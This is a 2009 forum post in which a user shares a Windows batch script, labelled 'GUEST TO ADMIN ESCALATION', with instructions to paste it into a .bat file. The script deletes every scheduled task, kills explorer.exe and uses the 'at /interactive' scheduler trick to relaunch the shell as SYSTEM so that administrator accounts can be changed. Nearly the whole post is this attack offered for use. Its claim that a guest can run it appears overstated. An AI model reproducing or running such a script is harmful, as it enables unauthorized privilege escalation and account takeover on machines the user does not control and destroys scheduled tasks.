Support Forums
login as a system user - Printable Version

+- Support Forums (https://www.supportforums.net)
+-- Forum: Categories (https://www.supportforums.net/forumdisplay.php?fid=87)
+--- Forum: Virus Protection, Removals, and HJT Team (https://www.supportforums.net/forumdisplay.php?fid=56)
+---- Forum: Computer Security, Firewalls, and Antivirus (https://www.supportforums.net/forumdisplay.php?fid=10)
+---- Thread: login as a system user (/showthread.php?tid=2203)



login as a system user - kross - 10-26-2009

i made is batch, you can run as a guest and login as a SYSTEM administrator and can change administrator users. it does evething automatly..
open a notepad > copy and paste the code > save as > and put any name with the extension .bat
@echo off
echo Login now as %computername% %date% %time%
at /delete /y
setlocal
ECHO GUEST TO ADMIN ESCALATION ::
set t=%time%
set h=%t:~0,2%
set m=%t:~3,2%
set s=%t:~6,2%
:: reduced strings to simple integers ::
if "%h:~0,1%"==" " set h=%h:~1%
if "%m:~0,1%"=="0" set m=%m:~1%
if "%s:~0,1%"=="0" set s=%s:~1%
ECHO start at %time% %date%
set x=70
ECHO :: calculated hour and minute to run ::
set /a x=s + x
set /a s="x %% 60"
set /a x=m + x / 60
set /a m="x %% 60"
set /a h=h + x / 60
set /a h="h %% 24"
ECHO now press ENTER and wait few seconds.
pause
taskkill /f /IM explorer.exe
at %h%:%m% /interactive "explorer.exe"
sleep 5
:END